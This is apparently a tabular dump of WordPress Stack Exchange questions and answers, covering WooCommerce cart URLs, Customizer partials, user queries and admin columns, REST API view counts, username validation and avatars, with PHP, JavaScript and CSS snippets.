qid
int64
4
8.14M
question
stringlengths
20
48.3k
answers
list
date
stringlengths
10
10
metadata
list
input
stringlengths
12
45k
output
stringlengths
2
31.8k
281,226
<p>We use this type of Add to Cart URL on our site a lot of times: <a href="http://yourdomain.com/cart/?add-to-cart=25" rel="nofollow noreferrer">http://yourdomain.com/cart/?add-to-cart=25</a>. The problem is after it redirects to the Cart page, if the client changes his/her mind and removes the recently added product, the Cart page loads and adds it again since "?add-to-cart=25" is on the URL. </p> <p>My question is is it possible to remove the "?add-to-cart=product-id" part after the redirection to Cart?</p>
[ { "answer_id": 290870, "author": "dev_masta", "author_id": 89164, "author_profile": "https://wordpress.stackexchange.com/users/89164", "pm_score": 2, "selected": false, "text": "<p>The solution would be to lose the <code>?add-to-cart=25</code>part of the URL.\nThe simplest way to do that...
2017/09/27
[ "https://wordpress.stackexchange.com/questions/281226", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/125003/" ]
We use this type of Add to Cart URL on our site a lot of times: <http://yourdomain.com/cart/?add-to-cart=25>. The problem is after it redirects to the Cart page, if the client changes his/her mind and removes the recently added product, the Cart page loads and adds it again since "?add-to-cart=25" is on the URL. My question is is it possible to remove the "?add-to-cart=product-id" part after the redirection to Cart?
The solution would be to lose the `?add-to-cart=25`part of the URL. The simplest way to do that is with javascript **History API**: ``` history.pushState(null, "", location.href.split("?")[0]); ``` Docs: <https://developer.mozilla.org/en-US/docs/Web/API/History_API> > > The DOM window object provides access to the browser's history through the history object. It exposes useful methods and properties that let you move back and forth through the user's history, as well as -- starting with HTML5 -- **manipulate the contents of the history stack**. > > > It was introduced in HTML5 so older browsers might not support it.
281,230
<p>On <a href="https://www.altcinematic.co.uk/video-test/" rel="nofollow noreferrer">https://www.altcinematic.co.uk/video-test/</a> I have input a video header using advanced custom fields and a new page template.</p> <p>Page template:</p> <pre><code>&lt;?php /* Template Name: Video Banner */ ?&gt; &lt;?php get_header(); ?&gt; &lt;main class="main-content"&gt; &lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&gt; &lt;section class="fullscreen-intro homepage"&gt; &lt;?php the_field('video_banner'); ?&gt; &lt;/section&gt; &lt;section id="content"&gt; &lt;div class="content-section&lt;?php if(have_rows('films')){echo " padding-bottom-remove";} ?&gt;"&gt; &lt;div class="white"&gt; &lt;div class="box-white container-box&lt;?php if(have_rows('films')){echo " margin-bottom-remove";} ?&gt;"&gt; &lt;?php the_content(); ?&gt; &lt;/div&gt; &lt;/div&gt;&lt;!-- /white --&gt; &lt;/div&gt;&lt;!-- /oontent-section --&gt; &lt;/section&gt;&lt;!-- /content --&gt; &lt;?php if(have_rows('films')): $count = 1; ?&gt; &lt;section id="content"&gt; &lt;div class="content-section"&gt; &lt;?php while(have_rows('films')): the_row(); if(is_int($count / 2)){ $position = "align-left"; } else { $position = "align-right"; } if($video = get_sub_field('is_this_a_video') == "yes"){ $type = "video"; } else { $type = "other"; } ?&gt; &lt;article class="yellow film-box &lt;?php echo $position . " " . $type; ?&gt;"&gt; &lt;div class="box container-box clear-fix"&gt; &lt;div class="box-right-top"&gt; &lt;div class="img video-wrap"&gt; &lt;div class="iframe-wrap"&gt; &lt;?php the_sub_field('vimeo_link'); ?&gt; &lt;/div&gt;&lt;!-- /iframe-wrap --&gt; &lt;/div&gt;&lt;!-- /img --&gt; &lt;/div&gt;&lt;!-- /box --&gt; &lt;div class="box-left-top"&gt; &lt;h1&gt;&lt;?php the_sub_field('title'); ?&gt;&lt;/h1&gt; &lt;?php the_sub_field('intro_text'); ?&gt; &lt;/div&gt; &lt;/div&gt;&lt;!-- /box --&gt; &lt;/article&gt; &lt;?php $count++; endwhile; ?&gt; &lt;/div&gt;&lt;!-- /oontent-section --&gt; &lt;/section&gt;&lt;!-- /content --&gt; &lt;?php endif; ?&gt; &lt;?php endwhile; endif; ?&gt; &lt;/main&gt; &lt;?php get_footer(); ?&gt; </code></pre> <p>This works fine on desktop, however I can not get the position of video correct on tablet and mobile? It sits behind the header and content areas rather than in-between them, hence if I add margin / padding it just moves the video behind.</p> <p>I have inherited this site and hence may not be fully understanding how these elements are being controlled?</p>
[ { "answer_id": 281237, "author": "Sovai", "author_id": 122599, "author_profile": "https://wordpress.stackexchange.com/users/122599", "pm_score": 0, "selected": false, "text": "<p>This question is nothing to do with WordPress. Your problem is position fixed of your header. Try to wrap you...
2017/09/27
[ "https://wordpress.stackexchange.com/questions/281230", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/91013/" ]
On <https://www.altcinematic.co.uk/video-test/> I have input a video header using advanced custom fields and a new page template. Page template: ``` <?php /* Template Name: Video Banner */ ?> <?php get_header(); ?> <main class="main-content"> <?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?> <section class="fullscreen-intro homepage"> <?php the_field('video_banner'); ?> </section> <section id="content"> <div class="content-section<?php if(have_rows('films')){echo " padding-bottom-remove";} ?>"> <div class="white"> <div class="box-white container-box<?php if(have_rows('films')){echo " margin-bottom-remove";} ?>"> <?php the_content(); ?> </div> </div><!-- /white --> </div><!-- /oontent-section --> </section><!-- /content --> <?php if(have_rows('films')): $count = 1; ?> <section id="content"> <div class="content-section"> <?php while(have_rows('films')): the_row(); if(is_int($count / 2)){ $position = "align-left"; } else { $position = "align-right"; } if($video = get_sub_field('is_this_a_video') == "yes"){ $type = "video"; } else { $type = "other"; } ?> <article class="yellow film-box <?php echo $position . " " . $type; ?>"> <div class="box container-box clear-fix"> <div class="box-right-top"> <div class="img video-wrap"> <div class="iframe-wrap"> <?php the_sub_field('vimeo_link'); ?> </div><!-- /iframe-wrap --> </div><!-- /img --> </div><!-- /box --> <div class="box-left-top"> <h1><?php the_sub_field('title'); ?></h1> <?php the_sub_field('intro_text'); ?> </div> </div><!-- /box --> </article> <?php $count++; endwhile; ?> </div><!-- /oontent-section --> </section><!-- /content --> <?php endif; ?> <?php endwhile; endif; ?> </main> <?php get_footer(); ?> ``` This works fine on desktop, however I can not get the position of video correct on tablet and mobile? It sits behind the header and content areas rather than in-between them, hence if I add margin / padding it just moves the video behind. I have inherited this site and hence may not be fully understanding how these elements are being controlled?
You can target those devices using css, and put a declaration specifically for that. Add this to your css file, and adjust to the suitable value: ``` @media screen and (max-width: 768px) { .page-template-page-video-banner .fullscreen-intro { margin-top: 135px !important; } } ``` [![See Screenshot](https://i.stack.imgur.com/Ks9d4.png)](https://i.stack.imgur.com/Ks9d4.png)
281,251
<p>I have more than 3000 users with role 'subscriber', and now i want to fetch all users with role 'subscriber'.</p> <pre><code>$user_query = new WP_User_Query( array( 'role' =&gt; 'Subscriber' ) ); $users = $user_query-&gt;get_results(); foreach( $users as $user) { // getting user data } </code></pre> <p>Now when i tried with above code, then my page is not working, it gives me 500 HTTP ERROR saying that "unable to handle request" So what i need to change in my code so that it gives me all users at once.</p> <p>But when i tried with below code, then it works very well.</p> <pre><code>$user_query = new WP_User_Query( array( 'role' =&gt; 'Subscriber','number' =&gt; 200 ) ); </code></pre> <p>but everytime it will return first 20 user with 'subscriber' role.</p> <p>Thanks in advance</p>
[ { "answer_id": 281252, "author": "Kuliraj", "author_id": 128600, "author_profile": "https://wordpress.stackexchange.com/users/128600", "pm_score": 0, "selected": false, "text": "<p>This will return and loop though all of your subscribers.</p>\n\n<pre><code>$users = get_users( array(\n ...
2017/09/27
[ "https://wordpress.stackexchange.com/questions/281251", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/100940/" ]
I have more than 3000 users with role 'subscriber', and now i want to fetch all users with role 'subscriber'. ``` $user_query = new WP_User_Query( array( 'role' => 'Subscriber' ) ); $users = $user_query->get_results(); foreach( $users as $user) { // getting user data } ``` Now when i tried with above code, then my page is not working, it gives me 500 HTTP ERROR saying that "unable to handle request" So what i need to change in my code so that it gives me all users at once. But when i tried with below code, then it works very well. ``` $user_query = new WP_User_Query( array( 'role' => 'Subscriber','number' => 200 ) ); ``` but everytime it will return first 20 user with 'subscriber' role. Thanks in advance
The problem here is that this query has pagination by default, and what you're asking for is not scalable. For example, this query fetches 5 posts at a time, and displays the 6th page of users: ``` $user_query = new WP_User_Query( array( 'number' => 5, 'offset' => 25 ) ); ``` You can pass `-1` to fetch unlimited users, but this will lead to other problems. There is also the `paged` parameter which you can use instead of `offset` to save some calculation Why You Should Never Ask For All The ~~Posts~~ Users ---------------------------------------------------- Displaying 3000 users at once is going to be an expensive operation, both to fetch the data, and to display it. This is the kind of operation that should be done in WP CLI, and should be done in steps rather than all at once It'll be much more efficient to fetch 100 users 30 times than to fetch 3000 users once. Similarly, pagination was added for a reason, I strongly recommend you use it You can have as many users as you want, just don't try to display them all at the same time, be reasonable. The same goes for comments, pages, posts, and anything else that there's 3000 of. A good number is 50 as a max. Always set a maximum, even if it's a silly high maximum you never expect to hit, and always opt for pagination or incremental loading when possible Other factors include running out of available memory, the query taking too long and running into the max execution time, or lots of people visiting that page at the same time. You're Double Querying ---------------------- This is a standard user query: ``` $args = array( ... ); // The Query $user_query = new WP_User_Query( $args ); // User Loop if ( ! empty( $user_query->results ) ) { foreach ( $user_query->results as $user ) { echo '<p>' . $user->display_name . '</p>'; } } else { echo 'No users found.'; } ``` Notice that as soon as you create the `$user_query` object it runs the query. But your code then calls `$users = $user_query->get_results();`, making it go back to the database, and fetch the result a second time. You don't need to call `get_results` Memory and Time Limits ---------------------- As indicated, this is being ran on WP Cron, but this leads to a problem. Nowhere do you actually test that 20 users or 3000 are returned in a reliable way. For example, it may be returning all the users you expected, but you only have time to process 20 before the time limit hits, so it only appears as if 20 were returned. Similarly, Processing each user may take too long, and 20 is all you have time for. To find this out, use the `$user_query->get_total()` method and store it somewhere. <https://developer.wordpress.org/reference/classes/wp_user_query/get_total/> I would recommend switching to a WP CLI command ran by a real cron job so that time limits no longer apply, as well as only processing 50 at a time to avoid memory limits, and having an incremental process rather than doing them all at once.
281,261
<p>I am developing a theme and I wonder if there anyway I can add a visual edit shortcut without selective refresh?</p> <pre><code>$wp_customize-&gt;get_setting( 'blogname' )-&gt;transport = 'postMessage'; $wp_customize-&gt;selective_refresh-&gt;add_partial( 'blogname', array( 'selector' =&gt; '.site-title a', 'render_callback' =&gt; 'twentyfifteen_customize_partial_blogname', ) ); </code></pre> <p>Can I do like </p> <pre><code>$wp_customize-&gt;get_setting( 'blogname' )-&gt;transport = 'postMessage'; $wp_customize-&gt;get_setting( 'blogdescription' )-&gt;transport = 'postMessage'; $wp_customize-&gt;add_partial( 'blogname', array( 'selector' =&gt; '.site-title a', 'render_callback' =&gt; 'twentyfifteen_customize_partial_blogname', ) ); </code></pre> <p>Actually it works and gives the desired result .. but I am using Kirki as my framework and for some reason I am not able to do it. I just don't want to use the default selective refresh i want to use my own javascript function with postMessage and I am not able to implement the selector tag here.</p> <p>Here is my code:</p> <pre><code>Kirki::add_field( 'theme_config', array( 'type' =&gt; 'text', 'settings' =&gt; 'about_us_video_setting', 'label' =&gt; __( 'Video Link', 'rst' ), 'section' =&gt; 'about_us_section', 'default' =&gt; esc_attr__( 'youtube.com', 'rst' ), 'transport' =&gt; 'postMessage', 'partial_refresh' =&gt; array( 'about_us_video_setting' =&gt; array( 'selector' =&gt; '#youtube-video', 'render_callback' =&gt; 'show_video', ) ), 'active_callback' =&gt; array( array( 'setting' =&gt; 'is_front_page', 'operator' =&gt; '==', 'value' =&gt; true, ), ), ) ); </code></pre> <p>what i want is</p> <pre><code>Kirki::add_field( 'theme_config', array( 'type' =&gt; 'text', 'settings' =&gt; 'about_us_video_setting', 'label' =&gt; __( 'Video Link', 'rst' ), 'section' =&gt; 'about_us_section', 'default' =&gt; esc_attr__( 'youtube.com', 'rst' ), 'transport' =&gt; 'postMessage', 'selector' =&gt; '#youtube-video', 'active_callback' =&gt; array( array( 'setting' =&gt; 'is_front_page', 'operator' =&gt; '==', 'value' =&gt; true, ), ), ) ); </code></pre> <p>Is this.. as even if I give transport as postMessage what is does is just default refresh instead of using my own javascript which is </p> <pre><code>( function( $ ) { // Change the previewed URL to the selected page when changing the page_for_posts. wp.customize( 'about_us_video_setting', function( setting ) { setting.bind( function( url ) { $('.embed-responsive-item').attr('src',url); }); }); } )( jQuery ); </code></pre> <p>Just want to clarify as I did not find any documentation. Is it a criteria to use selective refresh to show edit shorcuts?</p> <p>from edit shorcuts I mean this pencil icon <a href="https://i.stack.imgur.com/sMkqh.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/sMkqh.png" alt="enter image description here"></a> which takes you to the desired location to edit.</p>
[ { "answer_id": 281442, "author": "Weston Ruter", "author_id": 8521, "author_profile": "https://wordpress.stackexchange.com/users/8521", "pm_score": 0, "selected": false, "text": "<p>What you can to do is extend <code>wp.customize.selectiveRefresh.Partial</code> in JavaScript to create a ...
2017/09/27
[ "https://wordpress.stackexchange.com/questions/281261", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128610/" ]
I am developing a theme and I wonder if there anyway I can add a visual edit shortcut without selective refresh? ``` $wp_customize->get_setting( 'blogname' )->transport = 'postMessage'; $wp_customize->selective_refresh->add_partial( 'blogname', array( 'selector' => '.site-title a', 'render_callback' => 'twentyfifteen_customize_partial_blogname', ) ); ``` Can I do like ``` $wp_customize->get_setting( 'blogname' )->transport = 'postMessage'; $wp_customize->get_setting( 'blogdescription' )->transport = 'postMessage'; $wp_customize->add_partial( 'blogname', array( 'selector' => '.site-title a', 'render_callback' => 'twentyfifteen_customize_partial_blogname', ) ); ``` Actually it works and gives the desired result .. but I am using Kirki as my framework and for some reason I am not able to do it. I just don't want to use the default selective refresh i want to use my own javascript function with postMessage and I am not able to implement the selector tag here. Here is my code: ``` Kirki::add_field( 'theme_config', array( 'type' => 'text', 'settings' => 'about_us_video_setting', 'label' => __( 'Video Link', 'rst' ), 'section' => 'about_us_section', 'default' => esc_attr__( 'youtube.com', 'rst' ), 'transport' => 'postMessage', 'partial_refresh' => array( 'about_us_video_setting' => array( 'selector' => '#youtube-video', 'render_callback' => 'show_video', ) ), 'active_callback' => array( array( 'setting' => 'is_front_page', 'operator' => '==', 'value' => true, ), ), ) ); ``` what i want is ``` Kirki::add_field( 'theme_config', array( 'type' => 'text', 'settings' => 'about_us_video_setting', 'label' => __( 'Video Link', 'rst' ), 'section' => 'about_us_section', 'default' => esc_attr__( 'youtube.com', 'rst' ), 'transport' => 'postMessage', 'selector' => '#youtube-video', 'active_callback' => array( array( 'setting' => 'is_front_page', 'operator' => '==', 'value' => true, ), ), ) ); ``` Is this.. as even if I give transport as postMessage what is does is just default refresh instead of using my own javascript which is ``` ( function( $ ) { // Change the previewed URL to the selected page when changing the page_for_posts. wp.customize( 'about_us_video_setting', function( setting ) { setting.bind( function( url ) { $('.embed-responsive-item').attr('src',url); }); }); } )( jQuery ); ``` Just want to clarify as I did not find any documentation. Is it a criteria to use selective refresh to show edit shorcuts? from edit shorcuts I mean this pencil icon [![enter image description here](https://i.stack.imgur.com/sMkqh.png)](https://i.stack.imgur.com/sMkqh.png) which takes you to the desired location to edit.
There is a simple way to do this by using **\_\_return\_false** . The downside is you get a double refresh as it checks for a partial and then returns "false" which results in a full refresh. This is problematic if you are using javascript only to show a "realtime" preview. In that case, you'd have to go with Weston Ruter's solution. If you are not actually using a postMessage preview and just want the shortcut to show up, then it is not a big deal as you need the full refresh anyway. I am not sure why they haven't built in these partial edit shortcuts for those using javascript only. In kirki: ``` 'transport' => 'postMessage', 'partial_refresh' => array( 'about_us_video_setting' => array( 'selector' => '#youtube-video', 'render_callback' => '__return_false' ) ) ``` Standard: ``` $wp_customize->get_setting( 'about_us_video_setting' )->transport = 'postMessage'; $wp_customize->selective_refresh->add_partial( 'about_us_video_setting', array( 'selector' => '#youtube-video', 'render_callback' => '__return_false', ) ); ```
281,311
<p>I have added some custom columns to users table using the following function</p> <pre><code> public function modify_users_columns( $column_headers ) { //Remove email, role, and posts column unset( $column_headers['email'], $column_headers['role'], $column_headers['posts'] ); //Add sponsor id, level1 and level2 columns $column_headers['sponsor_id'] = 'Sponsor ID'; $column_headers['level1'] = 'Level 1'; $column_headers['level2'] = 'Level 2'; return $column_headers; } add_filter( 'manage_users_columns', $plugin_admin, 'modify_users_columns' ); </code></pre> <p>Then I am trying to populate these columns using custom user meta using following function</p> <pre><code> public function display_custom_users_columns_data( $output, $column_name, $user_id ) { switch ($column_name) { case 'sponsor_id': return get_user_meta($user_id, 'sponsor_id', true); break; case 'level1': return get_user_meta($user_id, 'level1', true); break; case 'level2' : return get_user_meta($user_id, 'level2', true); default: } return $output; } add_filter( 'manage_users_custom_columns', $plugin_admin, 'display_custom_users_columns_data', 10, 3 ); </code></pre> <p>The first function works correctly and my custom columns are displayed. However the second function is not working, no matter how I return the $output variable</p> <p>Someone reported this bug here but it was closed, I don't know? <a href="https://core.trac.wordpress.org/ticket/10585" rel="nofollow noreferrer">manage_users_custom_column filter not working</a></p>
[ { "answer_id": 281312, "author": "Abson Reavs", "author_id": 128638, "author_profile": "https://wordpress.stackexchange.com/users/128638", "pm_score": -1, "selected": false, "text": "<p>Try this.... </p>\n\n<pre><code>case 'level1' :\n $level1 = get_user_meta( $user_id, 'level1', true )...
2017/09/27
[ "https://wordpress.stackexchange.com/questions/281311", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/52654/" ]
I have added some custom columns to users table using the following function ``` public function modify_users_columns( $column_headers ) { //Remove email, role, and posts column unset( $column_headers['email'], $column_headers['role'], $column_headers['posts'] ); //Add sponsor id, level1 and level2 columns $column_headers['sponsor_id'] = 'Sponsor ID'; $column_headers['level1'] = 'Level 1'; $column_headers['level2'] = 'Level 2'; return $column_headers; } add_filter( 'manage_users_columns', $plugin_admin, 'modify_users_columns' ); ``` Then I am trying to populate these columns using custom user meta using following function ``` public function display_custom_users_columns_data( $output, $column_name, $user_id ) { switch ($column_name) { case 'sponsor_id': return get_user_meta($user_id, 'sponsor_id', true); break; case 'level1': return get_user_meta($user_id, 'level1', true); break; case 'level2' : return get_user_meta($user_id, 'level2', true); default: } return $output; } add_filter( 'manage_users_custom_columns', $plugin_admin, 'display_custom_users_columns_data', 10, 3 ); ``` The first function works correctly and my custom columns are displayed. However the second function is not working, no matter how I return the $output variable Someone reported this bug here but it was closed, I don't know? [manage\_users\_custom\_column filter not working](https://core.trac.wordpress.org/ticket/10585)
I was using the wrong filter name by adding an 's' in manage\_users\_custom\_columns. The correct filter name is without 's' : manage\_users\_custom\_column. This was pointed out in the comments by @mmm.
281,361
<p>I don't know if I've complicated things a bit, so I'll explain things from the top. I have a set up with a custom post type (news), which is exposed via the REST API. The main endpoint (<code>/wp-json/wp/v2/news</code>) returns a list of <code>news</code> items, which needs to be sorted by popularity. I tried a few post view count plugins, but none of them seem to work via the REST API (they only work when the theme renders the post).</p> <p>My plan is to create a "view count" ACF field and hook into the REST API init for a post (or only for my <code>news</code> type), and update the value for that ACF field. I should then be able to request a list of the items ordered by the view count.</p> <p>I seem to have found solutions for some of the tasks involved, but I can't figure out the basic one: How can I hook into WP when a REST API request is made on a particular post type and how can I update the custom field at that point?</p> <p>ACF isn't an integral part of this query - I'm fine with using a native custom field, but if my question about the hook is answered, the field type is irrelevant.</p>
[ { "answer_id": 281366, "author": "aalaap", "author_id": 14411, "author_profile": "https://wordpress.stackexchange.com/users/14411", "pm_score": 1, "selected": false, "text": "<p>I looked around again with a more relaxed mind and figured out that <code>the_posts</code> is the action hook ...
2017/09/28
[ "https://wordpress.stackexchange.com/questions/281361", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/14411/" ]
I don't know if I've complicated things a bit, so I'll explain things from the top. I have a set up with a custom post type (news), which is exposed via the REST API. The main endpoint (`/wp-json/wp/v2/news`) returns a list of `news` items, which needs to be sorted by popularity. I tried a few post view count plugins, but none of them seem to work via the REST API (they only work when the theme renders the post). My plan is to create a "view count" ACF field and hook into the REST API init for a post (or only for my `news` type), and update the value for that ACF field. I should then be able to request a list of the items ordered by the view count. I seem to have found solutions for some of the tasks involved, but I can't figure out the basic one: How can I hook into WP when a REST API request is made on a particular post type and how can I update the custom field at that point? ACF isn't an integral part of this query - I'm fine with using a native custom field, but if my question about the hook is answered, the field type is irrelevant.
I looked around again with a more relaxed mind and figured out that `the_posts` is the action hook I was looking for. This is how I just did it: ``` add_action( 'the_post', function ( $post ) { $count = (int) get_field('views'); $count++; update_field('views', $count); } ); ``` Now I'll just figure out how to sort it by an ACF field... **Update:** Nope, this will not work, because `the_post` runs 10 times in the main query `/news/` for each of the 10 items, so even getting the index would increase the view counts. Back to the drawing board... **Update 2:** My final idea is to still use the `the_post` hook as used above, but by adding a `?index=true` parameter, which will only be specified with the `/news/` endpoint, eg. `/news?index=true`. I'll then update the hook function to only count a view if there is no `index` query string parameter set. Finally, I will hook into the main WP\_Query and sort the items by the count before they're sent out. If this doesn't work, I'm trashing this whole directory and building the app from scratch using Laravel. **Update 3:** I think the last idea is probably not the cleanest or the correct way to do this. I ended up adding a custom endpoint only for counting views, accepting that this is a custom functionality requirement. I did it like this: ``` function aalaap_count_view( $data ) { $post = get_post( $data['id'] ); if ( empty( $post ) ) { return new WP_Error( 'aalaap_post_not_found', 'Invalid post', array( 'status' => 404 ) ); } // Now update the ACF field (or whatever you wish) $count = (int) get_field('views', $post->ID); $count++; update_field('views', $count, $post->ID); return new WP_REST_Response($count); } add_action( 'rest_api_init', function () { register_rest_route( 'aalaap/v1', '/countview/(?P<id>\d+)', array( 'methods' => 'GET', 'callback' => 'aalaap_count_view', ) ); } ); ``` Thanks to @Mark-Kaplun for the suggestion in the other answer.
281,382
<p>I have a plugin that uses custom post type for holding content that I pull via a shortcode elsewhere. However on a new site I noticed one of the posts in the CPT started showing up in the google search results. The post isn't linked anywhere directly. How would that show up there? How can I hide it from showing up in google? </p> <p>I set public to false, now that just turns the page into the home page. I don't know that this will completely fix my problem. What else can I do? </p> <pre><code>register_post_type('mycpt', array( 'labels' =&gt; $labels, 'public' =&gt; false, 'show_ui' =&gt; true, 'menu_icon' =&gt; $icon_svg, '_builtin' =&gt; false, 'capability_type' =&gt; 'page', 'hierarchical' =&gt; true, 'rewrite' =&gt; false, 'query_var' =&gt; 'mycpt', 'exclude_from_search' =&gt; true, 'supports' =&gt; array( 'title', 'editor', 'revisions', ), 'show_in_menu' =&gt; true, )); </code></pre>
[ { "answer_id": 281383, "author": "FluffyKitten", "author_id": 63360, "author_profile": "https://wordpress.stackexchange.com/users/63360", "pm_score": 4, "selected": true, "text": "<p>If you are using an SEO plugin such as <strong>Yoast</strong>, it automatically adds all Custom Post Type...
2017/09/28
[ "https://wordpress.stackexchange.com/questions/281382", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/24054/" ]
I have a plugin that uses custom post type for holding content that I pull via a shortcode elsewhere. However on a new site I noticed one of the posts in the CPT started showing up in the google search results. The post isn't linked anywhere directly. How would that show up there? How can I hide it from showing up in google? I set public to false, now that just turns the page into the home page. I don't know that this will completely fix my problem. What else can I do? ``` register_post_type('mycpt', array( 'labels' => $labels, 'public' => false, 'show_ui' => true, 'menu_icon' => $icon_svg, '_builtin' => false, 'capability_type' => 'page', 'hierarchical' => true, 'rewrite' => false, 'query_var' => 'mycpt', 'exclude_from_search' => true, 'supports' => array( 'title', 'editor', 'revisions', ), 'show_in_menu' => true, )); ```
If you are using an SEO plugin such as **Yoast**, it automatically adds all Custom Post Types (and Taxonomies) to the sitemap that is used by Google & other search engines. You will need to explicitly exclude them from the sitemap e.g in Yoast, this is under the "Post Types"/"Taxomonies" tab in the "XML Sitemaps" settings page. Also don't forget to remove the links from Google through **Webmaster Tools** - otherwise you have to wait for Google to re-index your site.
281,448
<p>I browsed many articles to know the section Name of the "Menu" in the theme customizer. Here are the few resources that proclaim and identifies that the default section name is "nav" →</p> <ol> <li><a href="https://wptheming.com/2012/06/add-options-to-theme-customizer-default-sections/" rel="nofollow noreferrer">https://wptheming.com/2012/06/add-options-to-theme-customizer-default-sections/</a></li> <li><a href="http://natko.com/changing-default-wordpress-theme-customization-api-sections/" rel="nofollow noreferrer">http://natko.com/changing-default-wordpress-theme-customization-api-sections/</a></li> </ol> <p>Currently, there are 5 fields that are resting in the →</p> <pre><code>title_tagline - Site Title &amp; Tagline </code></pre> <p>but as soon as I change their section name to :</p> <pre><code>'section' =&gt; 'nav', </code></pre> <p>The fields do not appear inside the menu section. whats the issue?</p>
[ { "answer_id": 281383, "author": "FluffyKitten", "author_id": 63360, "author_profile": "https://wordpress.stackexchange.com/users/63360", "pm_score": 4, "selected": true, "text": "<p>If you are using an SEO plugin such as <strong>Yoast</strong>, it automatically adds all Custom Post Type...
2017/09/29
[ "https://wordpress.stackexchange.com/questions/281448", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/105791/" ]
I browsed many articles to know the section Name of the "Menu" in the theme customizer. Here are the few resources that proclaim and identifies that the default section name is "nav" → 1. <https://wptheming.com/2012/06/add-options-to-theme-customizer-default-sections/> 2. <http://natko.com/changing-default-wordpress-theme-customization-api-sections/> Currently, there are 5 fields that are resting in the → ``` title_tagline - Site Title & Tagline ``` but as soon as I change their section name to : ``` 'section' => 'nav', ``` The fields do not appear inside the menu section. whats the issue?
If you are using an SEO plugin such as **Yoast**, it automatically adds all Custom Post Types (and Taxonomies) to the sitemap that is used by Google & other search engines. You will need to explicitly exclude them from the sitemap e.g in Yoast, this is under the "Post Types"/"Taxomonies" tab in the "XML Sitemaps" settings page. Also don't forget to remove the links from Google through **Webmaster Tools** - otherwise you have to wait for Google to re-index your site.
281,462
<p>i am running membership site. any one can registered on my site. </p> <p>i want to disallow special characters(ie:!@#$%^&amp;*), space, capital letter, dot(.) in user name on registration.</p> <p>i don't have any code that can cover all my (special characters, space, capital letter, dot) requirement. i am using separate separate function to stop this.</p> <h2>For Capital Latter Disallow In Usernames :</h2> <pre><code>add_filter( 'sanitize_user', 'wpse_83689_lower_case_user_name' ); function wpse_83689_lower_case_user_name( $name ) { if ( function_exists( 'mb_strtolower' ) ) return mb_strtolower( $name ); return strtolower( $name ); </code></pre> <h2>For Spaces Disallow In Usernames :</h2> <pre><code>add_filter('validate_username' , 'custom_validate_username', 10, 2); function custom_validate_username($valid, $username ) { if (preg_match("/\\s/", $username)) { // there are spaces return $valid=false; } return $valid; } </code></pre> <p>i did lots of google but i did not find any solution for disallow Dot and Special Character.</p> <p>can any one solve my this problem and combine all 4 option in single function?</p> <p>sorry for my bad english.</p> <p>thanks</p>
[ { "answer_id": 281383, "author": "FluffyKitten", "author_id": 63360, "author_profile": "https://wordpress.stackexchange.com/users/63360", "pm_score": 4, "selected": true, "text": "<p>If you are using an SEO plugin such as <strong>Yoast</strong>, it automatically adds all Custom Post Type...
2017/09/29
[ "https://wordpress.stackexchange.com/questions/281462", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/114481/" ]
i am running membership site. any one can registered on my site. i want to disallow special characters(ie:!@#$%^&\*), space, capital letter, dot(.) in user name on registration. i don't have any code that can cover all my (special characters, space, capital letter, dot) requirement. i am using separate separate function to stop this. For Capital Latter Disallow In Usernames : ------------------------------------------ ``` add_filter( 'sanitize_user', 'wpse_83689_lower_case_user_name' ); function wpse_83689_lower_case_user_name( $name ) { if ( function_exists( 'mb_strtolower' ) ) return mb_strtolower( $name ); return strtolower( $name ); ``` For Spaces Disallow In Usernames : ---------------------------------- ``` add_filter('validate_username' , 'custom_validate_username', 10, 2); function custom_validate_username($valid, $username ) { if (preg_match("/\\s/", $username)) { // there are spaces return $valid=false; } return $valid; } ``` i did lots of google but i did not find any solution for disallow Dot and Special Character. can any one solve my this problem and combine all 4 option in single function? sorry for my bad english. thanks
If you are using an SEO plugin such as **Yoast**, it automatically adds all Custom Post Types (and Taxonomies) to the sitemap that is used by Google & other search engines. You will need to explicitly exclude them from the sitemap e.g in Yoast, this is under the "Post Types"/"Taxomonies" tab in the "XML Sitemaps" settings page. Also don't forget to remove the links from Google through **Webmaster Tools** - otherwise you have to wait for Google to re-index your site.
281,473
<p>I am looking for a solution to output nothing instead the default avatar when a user does not have any avatar.</p> <p>I am currently using this line. I looked at the function and the only thing I got so far is to use <code>blank</code> as default avatar but its still occupies space and I do not want that.</p> <pre><code>echo get_avatar( get_the_author_meta( 'ID' ), 70, 'blank', __( 'avatar', 'bla' ) ); </code></pre> <p>Sidenote: Even that blank avatar gets pulled from Gravatar, I think this is ridiculous.</p>
[ { "answer_id": 281477, "author": "Mark Kaplun", "author_id": 23970, "author_profile": "https://wordpress.stackexchange.com/users/23970", "pm_score": 0, "selected": false, "text": "<p>Unlikely to be worth your time to implement such a thing. You need to ask gravatar to give you the URL fo...
2017/09/29
[ "https://wordpress.stackexchange.com/questions/281473", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/38602/" ]
I am looking for a solution to output nothing instead the default avatar when a user does not have any avatar. I am currently using this line. I looked at the function and the only thing I got so far is to use `blank` as default avatar but its still occupies space and I do not want that. ``` echo get_avatar( get_the_author_meta( 'ID' ), 70, 'blank', __( 'avatar', 'bla' ) ); ``` Sidenote: Even that blank avatar gets pulled from Gravatar, I think this is ridiculous.
You can use the `get_avatar` filter to change the output or `avatar_defaults` to add new image that can be placed on your server. Here is an example code for adding new avatar that you can set as default from the Settings > Discussion page. ``` add_filter( 'avatar_defaults', 'add_new_gravatar_image' ); function add_new_gravatar_image($avatar_defaults) { $myavatar = 'http://yoursite.com/image.png'; $avatar_defaults[$myavatar] = "Default Gravatar"; return $avatar_defaults; } ``` And if you want to change the output, you have an example on the [documentation page for get\_avatar](https://codex.wordpress.org/Plugin_API/Filter_Reference/get_avatar).
281,490
